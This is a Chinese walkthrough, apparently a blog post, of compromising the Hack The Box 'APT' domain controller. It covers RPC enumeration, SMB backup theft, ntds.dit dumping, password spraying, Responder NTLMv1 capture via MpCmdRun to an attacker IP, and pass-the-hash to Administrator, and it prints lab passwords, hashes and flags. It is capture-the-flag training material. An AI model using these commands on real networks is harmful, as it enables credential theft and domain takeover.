HTB APT靶机渗透测试流程

靶机介绍

靶机名称:APT        来源:Hack The Box        难度:insane(疯狂)

渗透流程

主机探测

通过ICMP协议,可知目标靶机10.10.10.213存活

端口扫描 

发现目标开放80和135端口

sudo nmap -sT --min-rate 10000 -p- 10.10.10.213

 版本探测

sudo nmap -sT -sC -sV -O -p 80,135 10.10.10.213

可以知道以下信息

80/tcp  open  http    Microsoft IIS httpd 10.0

135/tcp open  msrpc   Microsoft Windows RPC

OS:Windows

IPv4 80端口

访问80端口,查看页面、源代码发现几乎都是静态页面,没有找到可利用的点。

发现一处图片,尝试下载下来分析。

使用exiftool提取元数据,没有找到有价值的东西。

尝试目录目录扫描,发现都是禁止访问的。80端口暂时放弃。

IPv4135端口 

查看135端口,跑的是rpc,用rpcclient试试看能否连接,结果无法连接。

rpc服务扫描

 使用rpcmap查看所有服务,一共是发现了4个DCOM对象

rpcmap.py ncacn_ip_tcp:10.10.10.213[135]

UUID操作数枚举

通过rpcmap暴力枚举UUID和DCOM的操作数,发现是有两个可用的服务,一个是DCOM,一个是RPCE。

其中UUID为99FCFEC4-5260-101B-BBCB-00AA0021347A的操作数3(ServerAlive)和5(ServerAlive2)是可用的。

网络接口远程枚举漏洞 

查找exploit,发现一个网络接口的远程枚举exp

 将IP地址改为靶机的IP

成功获取目标的网卡信息,得到一个IPV6的地址。

dead:beef::b885:d62a:d679:573f

IPv6端口扫描

使用nmap重新对IPV6地址进行端口扫描,发现开放端口与IPV4的不一样。

 

IPv6版本探测 

sudo nmap -sT -sC -sV -6 -p 53,80,88,135,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49675,49695,63909 dead:beef::b885:d62a:d679:573f

可以大致知道以下信息

53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-25 18:42:11Z)
135/tcp   open  msrpc        Microsoft Windows RPC
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Host script results:
|_clock-skew: mean: -8m32s, deviation: 22m39s, median: 0s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: apt
|   NetBIOS computer name: APT\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: apt.htb.local
|_  System time: 2023-07-25T19:43:11+01:00
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-07-25T18:43:10
|_  start_date: 2023-07-25T15:57:04
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

大概确定这台机器就是域控,域名htb.local,OS为windows server 2016

 

smb连接

使用smbclient访问445端口,发现有以下文件文件夹

smbclient -I dead:beef::b885:d62a:d679:573f -p 445 -L //htb.local

敏感文件获取

查看backup,发现一个backup.zip,下载下来。

使用unzip -l backup.zip查看内容,发现ntds.dit

尝试解压,发现要密码。

ZIP密码破解 

使用fcrackzip破解密码得到密码iloveyousomuch

secretsdump

使用secretsdump把内容dump下来,发现有8005多行

secretsdump.py -ntds ntds.dit -system /home/kali/registry/SYSTEM LOCAL>../teardrop/user_hash_raw

 取出用户账户相关信息

cat user_hash_raw|grep ':::'|sort|uniq>shit

尝试利用evil-winrm连接到域控主机,因为winrm端口开放,但发现哈希无效。
因为我们下载下来的是backup,可能已经被更改过了。

取出用户名

cat shit|awk -F ':' '{print $1}'>users

取出哈希

cat shit|awk -F ':' '{print $3,$4}'|tr ‘ ’ ‘:’>password

kerbrut用户枚举 

利用kerberos协议用户枚举漏洞进行用户枚举,正确用户名和不正确用户名返回错误信息不一样,正确密码和错误密码返回的信息也不一样。 

这里使用kerbrut工具进行用户枚举,一共发现了3个有效的账户,Administrator和APT$,henry.vinson

密码喷洒

编写脚本使用getTGT来进行密码喷洒,这里不能用crackmapexec,有waf会被ban IP。

为了节省时间这里先只对henry.vinson进行密码喷洒

最后拿到henry.vinson的TGT和hash。

aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb

注册表查询

查询注册表发现有HKU键

明文密码获取

在HKU\\Software\\GiganticHostingManagementSystem发现henry.vinson_adm的

明文密码

G1#Ny5@2dvht

获取初步shell

用evil-winrm连接到域控服务器,账户henry.vinson_adm        密码G1#Ny5@2dvht

获取user.txt

查看目录信息,拿到user flag

a2d27226c7b15dbce371be37b54c689f

权限提升

信息收集

查看用户信息,发现权限比较低。

 查看域内用户

敏感文件

在ConsoleHost_history.txt文件里发现了henry.vinson_adm用户的powershell命令执行记录

C:/users/henry.vinson_adm/appdata/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

以下是对命令的解释:

$Cred = get-credential administrator:#这个命令会弹出一个对话框,要求输入管理员的用户名和密码,然后将这些凭据存储在变量$Cred中。

invoke-command -credential $Cred -computername localhost -scriptblock {...}:#这个命令使用前面存储的管理员凭据在本地计算机(localhost)上执行一段脚本。

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force:#这是在脚本块中执行的命令。它更改了Windows注册表中的一个设置。具体来说,它更改了"lmcompatibilitylevel"的值,这个值决定了系统对LAN Manager(LM)和NTLM认证的支持级别。这个命令将其设置为2,这意味着系统将使用NTLMv1和LM,但不会使用NTLMv2。

由于NTLM v1的安全级别比较低,可以暴力破解NTLM V1 Hash值,拿到用户Hash。

Reponder欺骗 

准备使用responder毒化,截取NTLM V1 HASH,这里修改挑战值,方便使用crack.sh网站来破解。

 开启responder监听

sudo python Responder.py -I tun0 --lm

在靶机上运行以下命令,拿到APT$用户的NTLM V1 Hash值。这里是运用了windows defender的mpcmdrun.exe,它可以下载文件和扫描。

.\MpCmdRun.exe -Scan -scantype 3 -File \\10.10.14.22\\noexist

APT$用户的NTLM V1 HASH如下

APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

NTLM V1 HASH破解

使用ntlmv1.py进行分析,再利用crack.sh进行破解拿到APT$用户的hash

d167c323886b12f5f82feae86a7f798

哈希传递

使用secretsdump.py工具通过htb.local/APT$导出密码hash,拿到管理员hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::

用evi-winrm工具通过管理员账户和密码hash登录到域控服务器,拿到root flag

564d24840fea6265d63062a77f2468e7

 

总结

通过rpcmap枚举135端口rpc服务的UUID和操作数,通过nday漏洞远程获取IPv6地址,重新端口扫描,通过开放的smb服务端口拿到backup.zip文件,破解拿到ntds.dit和SYSTEM,利用secretsdump获取用户信息,筛选出有用信息后利用getTGT进行密码喷洒拿到henry.vinson用户的密码hash,但是权限不足或有WAF拿不到shell。通过reg.py查看注册表发现有HKU键,拿到henry.vinson的明文密码,利用evil-winrm拿到初步shell,接收通过搜寻敏感文件发现henry.vinson有通过一个用户的凭据将NTLM的认证方式从V2改成V1,利用responder欺骗拿到APT用户的NTLM V1 HASH值并破解,然后利用secretsdump拿到管理员的哈希,最后用evil-winrm工具登录到域控。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值